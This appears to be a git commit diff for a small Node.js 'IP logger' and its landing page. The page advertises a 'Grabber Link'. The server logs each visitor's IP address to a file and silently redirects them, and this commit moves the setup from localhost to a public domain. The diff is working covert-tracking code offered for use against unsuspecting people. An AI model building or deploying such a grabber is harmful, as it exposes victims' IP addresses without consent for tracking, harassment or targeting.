idk
This commit is contained in:
parent
767d70806a
commit
9244f7f4a4
2 changed files with 8 additions and 4 deletions
|
@ -29,7 +29,7 @@
|
|||
<section>
|
||||
<h3>Grab an IP with the link below!</h3>
|
||||
<p>
|
||||
<a href="http://localhost:3030">Grabber Link</a>
|
||||
<a href="http://arrayinamatrix.xyz:3030">Grabber Link</a>
|
||||
</p>
|
||||
<br>
|
||||
<p class="aligncenter">
|
||||
|
|
|
@ -4,12 +4,16 @@ const file = require('fs');
|
|||
const requestIp = require('request-ip');
|
||||
const redirect = require('connect-redirection')
|
||||
|
||||
console.log("########## IP LOGGER STARTED ##########")
|
||||
let redirectURL = 'http://arrayinamatrix.xyz'
|
||||
let port = 3030
|
||||
console.log(`Redirect: ${redirectURL}`);
|
||||
console.log(`Port: ${port}`)
|
||||
console.log("########## IP LOGGER STARTED ##########");
|
||||
const app = connect()
|
||||
.use(requestIp.mw())
|
||||
.use(redirect())
|
||||
.use(function (req, res) {
|
||||
res.redirect('http://127.0.0.1:3000')
|
||||
res.redirect(redirectURL)
|
||||
const ip = req.clientIp;
|
||||
console.log(ip);
|
||||
file.appendFile("ip-addresses.log", ip + '\n', (e) => {
|
||||
|
@ -20,4 +24,4 @@ const app = connect()
|
|||
|
||||
});
|
||||
|
||||
http.createServer(app).listen(3030);
|
||||
http.createServer(app).listen(port);
|
Loading…
Add table
Reference in a new issue